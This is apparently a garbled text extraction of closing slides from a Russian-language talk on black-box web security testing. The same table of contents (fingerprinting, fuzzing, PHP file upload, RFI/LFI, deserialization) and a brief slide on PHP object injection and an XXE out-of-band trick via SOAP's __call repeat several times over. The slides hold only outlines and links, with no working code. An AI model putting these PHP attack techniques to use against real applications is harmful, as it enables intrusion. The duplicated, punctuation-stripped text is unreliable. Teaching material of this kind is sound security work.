bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-